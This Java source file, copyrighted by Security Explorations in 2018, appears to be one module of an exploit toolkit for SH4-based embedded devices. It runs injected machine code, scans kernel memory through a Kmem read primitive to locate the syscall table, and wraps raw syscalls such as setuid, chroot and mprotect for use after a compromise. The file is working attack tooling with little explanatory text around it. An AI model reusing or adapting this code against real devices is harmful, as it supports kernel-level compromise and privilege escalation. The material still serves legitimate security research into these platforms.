/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class Syscall {
 public static int NR_open	= 5;
 public static int NR_creat     = 8;
 public static int NR_read	= 3;
 public static int NR_write	= 4;
 public static int NR_ioctl	= 54;
 public static int NR_llseek	= 140;
 public static int NR_close	= 6;
 public static int NR_chmod     = 15;
 public static int NR_truncate  = 92; 
 public static int NR_stat	= 106;
 public static int NR_lstat	= 107;
 public static int NR_fstat	= 108;
 public static int NR_chdir	= 12;
 public static int NR_chroot	= 61;
 public static int NR_setuid	= 23;
 public static int NR_getpid	= 20;
 public static int NR_getuid	= 24;
 public static int NR_setgid    = 46; 
 public static int NR_getgid	= 47;
 public static int NR_mmap	= 90;
 public static int NR_mmap64	= 192;
 public static int NR_munmap    = 91;
 public static int NR_getdents  = 141;
 public static int NR_mprotect  = 125;
 public static int NR_readlink	= 85;
 public static int NR_unlink	= 10;
 public static int NR_lseek	= 19;
 public static int NR_mkdir	= 39;
 public static int NR_rmdir	= 40;
 public static int NR_lchown    = 16;

 public static int PROT_READ    = 1;
 public static int PROT_WRITE   = 2;
 public static int PROT_EXEC    = 4;

 public static int PROT_ALL     = PROT_READ|PROT_WRITE|PROT_EXEC;

 public static final int MAP_SHARED  = 0x01;
 public static final int MAP_PRIVATE = 0x02;

 public static final int O_RDONLY  = 0x00000000;
 public static final int O_WRONLY  = 0x00000001;
 public static final int O_RDWR    = 0x00000002;
 public static final int O_CREAT   = 0x00000100;

 public static final int BUFSIZE       = 0x1000;

 public static final int SYSENT_MAGIC1 = 0xff000020;
 public static final int SYSENT_MAGIC2 = 0x00000120;

 public static final int HERMES_SYSENT_BASE  = 0x84000000;
 public static final int CARBO_SYSENT_BASE   = 0x80800000;

 private static int searchword[]={
  0x4f222fe6,     /*  mov.l   r14, @-r15                                      */
                  /*  sts.l   pr, @-r15                                       */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x0009b002,     /*  bsr     forward                                         */
                  /*  nop                                                     */
  0x11223344,     /*  .long 0x11223344               ! begin marker           */
                  /*                                                          */
  0x6b43eaff,     /*  mov     #-1,r10                                         */
                  /*  mov     r4,r11                                          */
  0x36006042,     /*  mov.l   @r4,r0                                          */
                  /*  cmp/eq  r0,r6                                           */
  0x00098b02,     /*  bf      nextword                                        */
                  /*  nop                                                     */
  0x0009a008,     /*  bra     allfound                                        */
                  /*  nop                                                     */
  0x340ce004,     /*  mov     #4,r0                                           */
                  /*  add     r0,r4                  ! update buf             */
  0x25583508,     /*  sub     r0,r5                  ! update size            */
                  /*  tst     r5,r5                                           */
  0x00098bf4,     /*  bf      matchloop                                       */
                  /*  nop                                                     */
  0x0009a002,     /*  bra     end                                             */
                  /*  nop                                                     */
  0x3ab86a43,     /*  mov     r4,r10                 ! buf                    */
                  /*  sub     r11,r10                                         */
  0x4f2660a3,     /*  mov     r10,r0                 ! return offset          */
                  /*  lds.l   @r15+, pr                                       */
  0x6ef6000b,     /*  rts                                                     */
                  /*  mov.l   @r15+, r14                                      */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
  0x00090009,     /*  nop                                                     */
                  /*  nop                                                     */
 };

 private static int unused_syscalls[]={
  17, 31, 32, 35
 };

 private static int swcode;
 private static int cached_sysent;

 static {
  swcode=Utils.code2buf(searchword); 
 }

 private static int searchword(int buf,int val) {
  NativeCode nc=NativeCode.getInstance();  
  return nc.invoke(swcode,buf,BUFSIZE,val,0,0,0,0,0);  
 }
  
 public static boolean hermes_valid_syscall_table(int addr) {
  NativeCode nc=NativeCode.getInstance();
  int buf=nc.malloc(4);

  int niaddr=0;

  for(int i=0;i<unused_syscalls.length;i++) {
   int idx=unused_syscalls[i];
   int sysaddr=addr+4*idx;

   Kmem.read(sysaddr,buf,4);

   if (niaddr==0) {
    niaddr=Memory.read_dword(buf);
   } else {
    if (Memory.read_dword(buf)!=niaddr) return false;
   }
  }

  nc.free(buf);

  return true;
 }

 public static boolean carbo_valid_syscall_table(int addr) {
  NativeCode nc=NativeCode.getInstance();
  int buf=nc.malloc(4);

  int niaddr=KSyms.sym_addr("sys_ni_syscall");

  for(int i=0;i<unused_syscalls.length;i++) {
   int idx=unused_syscalls[i];
   int sysaddr=addr+4*idx;

   Kmem.read(sysaddr,buf,4);

   if (Memory.read_dword(buf)!=niaddr) return false;
  }

  nc.free(buf);

  return true;
 }


 public static boolean valid_syscall_table(int addr) {
  boolean valid=false;

  if (Config.isHERMES()) {
   valid=hermes_valid_syscall_table(addr);
  } else

  if (Config.isCARBO()) {
   valid=carbo_valid_syscall_table(addr);
  } else

  ApiMonitor.log("valid_syscall_table "+valid);
  return valid;
 }

 public static int hermes_find_syscall_table_addr(int addr) {
  NativeCode nc=NativeCode.getInstance();
  int buf=nc.malloc(BUFSIZE);

  boolean found=false;
  int off=0;

  while(!found) {
   if (Kmem.read(addr,buf,BUFSIZE)==BUFSIZE) {
    off=searchword(buf,SYSENT_MAGIC1);

    if (off>=0) {
     if (off<BUFSIZE) {
      int val=Memory.read_dword(buf+off+4);

      if (val==SYSENT_MAGIC2) {
       found=true;
       break;
      }
     }
    }
   }
   addr+=BUFSIZE; 
  }

  nc.free(buf);
  
  int sysent_addr=Memory.read_dword(buf+off+8);

  return sysent_addr;
 }

 public static int carbo_find_syscall_table_addr(int addr) {
  NativeCode nc=NativeCode.getInstance();
  int buf=nc.malloc(BUFSIZE);

  boolean found=false;
  int off=0;

  int restart_syscall=KSyms.sym_addr("sys_restart_syscall");
  int exit_syscall=KSyms.sym_addr("sys_exit");
  int fork_syscall=KSyms.sym_addr("sys_fork");

  ApiMonitor.log("carbo_find_syscall_table_addr");

  while(!found) {
   if (Kmem.read(addr,buf,BUFSIZE)==BUFSIZE) {
    off=searchword(buf,restart_syscall);

    if (off>=0) {
     if (off<BUFSIZE) {
      int val=Memory.read_dword(buf+off+4);

      if (val==exit_syscall) {
       val=Memory.read_dword(buf+off+8);
       
       if (val==fork_syscall) {
        ApiMonitor.log("syscall_table candidate "+Utils.hex_value(addr+off,8));

        if (valid_syscall_table(addr+off)) {
         found=true;
         break;
        }
       }
      }
     }
    }
   }
   addr+=BUFSIZE; 
  }

  nc.free(buf);
  
  int sysent_addr=addr+off;

  ApiMonitor.log("sysent_addr "+Utils.hex_value(sysent_addr,8));

  return sysent_addr;
 }

 public static int find_syscall_table_addr() {
  if (cached_sysent==0) {
   if (Config.isHERMES()) {
    cached_sysent=hermes_find_syscall_table_addr(HERMES_SYSENT_BASE);
   } else

   if (Config.isCARBO()) {
    cached_sysent=carbo_find_syscall_table_addr(CARBO_SYSENT_BASE);
   }
  }

  return cached_sysent;
 }

 public static int open(String filename,int flags) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_open,cfilename,flags,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int open64(String filename,int flags) {
  int cfilename=Utils.java2cstring(filename);
  flags|=0x8000;
  int res=NativeCode.getInstance().syscall(NR_open,cfilename,flags,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int creat(String filename,int mode) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_creat,cfilename,mode,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int read(int fd,int buf,int count) {
  return NativeCode.getInstance().syscall(NR_read,fd,buf,count,0,0,0,0,0);
 }

 public static int write(int fd,int buf,int count) {
  return NativeCode.getInstance().syscall(NR_write,fd,buf,count,0,0,0,0,0);
 }

 public static int ioctl(int fd,int cmd,int arg) {
  return NativeCode.getInstance().syscall(NR_ioctl,fd,cmd,arg,0,0,0,0,0);
 } 

 public static int llseek(int fd,int offset_high,int offset_low,int result,int whence) {
  return NativeCode.getInstance().syscall(NR_llseek,fd,offset_high,offset_low,result,whence,0,0,0);
 }

 public static int lseek(int fd,int offset,int whence) {
  return NativeCode.getInstance().syscall(NR_lseek,fd,offset,whence,0,0,0,0,0);
 }

 public static int close(int fd) {
  return NativeCode.getInstance().syscall(NR_close,fd,0,0,0,0,0,0,0);
 }

 public static int chmod(String filename,int mode) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_chmod,cfilename,mode,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 }

 public static int truncate(String filename,int length) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_truncate,cfilename,length,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int stat(String filename,int statbuf) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_stat,cfilename,statbuf,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int lstat(String filename,int statbuf) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_lstat,cfilename,statbuf,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int fstat(int fd,int statbuf) {
  return NativeCode.getInstance().syscall(NR_fstat,fd,statbuf,0,0,0,0,0,0);
 } 

 public static int readlink(String filename,int buf,int bufsize) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_readlink,cfilename,buf,bufsize,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int getdents(int fd,int buf,int nbytes) {
  return NativeCode.getInstance().syscall(NR_getdents,fd,buf,nbytes,0,0,0,0,0);
 } 

 public static int chdir(String filename) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_chdir,cfilename,0,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int chroot(String filename) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_chroot,cfilename,0,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int getuid() {
  return NativeCode.getInstance().syscall(NR_getuid,0,0,0,0,0,0,0,0);
 } 

 public static int getgid() {
  return NativeCode.getInstance().syscall(NR_getgid,0,0,0,0,0,0,0,0);
 } 

 public static int getpid() {
  return NativeCode.getInstance().syscall(NR_getpid,0,0,0,0,0,0,0,0);
 }

 public static int setuid(int uid) {
  return NativeCode.getInstance().syscall(NR_setuid,uid,0,0,0,0,0,0,0);
 } 

 public static int setgid(int gid) {
  return NativeCode.getInstance().syscall(NR_setgid,gid,0,0,0,0,0,0,0);
 } 

 public static int mmap(int addr,int len,int prot,int flags,int fd,int off) {
  return NativeCode.getInstance().syscall(NR_mmap,addr,len,prot,flags,fd,off,0,0);
 }

 public static int mmap64(int addr,int len,int prot,int flags,int fd,int off) {
  return NativeCode.getInstance().syscall(NR_mmap64,addr,len,prot,flags,fd,off,0,0);
 }

 public static int munmap(int addr,int len) {
  return NativeCode.getInstance().syscall(NR_munmap,addr,len,0,0,0,0,0,0);
 }

 public static int mprotect(int start,int len,int prot) {
  return NativeCode.getInstance().syscall(NR_mprotect,start,len,prot,0,0,0,0,0);
 }

 public static int unlink(String filename) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_unlink,cfilename,0,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int mkdir(String dirname,int mode) {
  int cfilename=Utils.java2cstring(dirname);
  int res=NativeCode.getInstance().syscall(NR_mkdir,cfilename,mode,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int rmdir(String dirname) {
  int cfilename=Utils.java2cstring(dirname);
  int res=NativeCode.getInstance().syscall(NR_rmdir,cfilename,0,0,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

 public static int chown(String filename,int uid,int gid) {
  int cfilename=Utils.java2cstring(filename);
  int res=NativeCode.getInstance().syscall(NR_lchown,cfilename,uid,gid,0,0,0,0,0);
  NativeCode.getInstance().free(cfilename);
  return res;
 } 

}
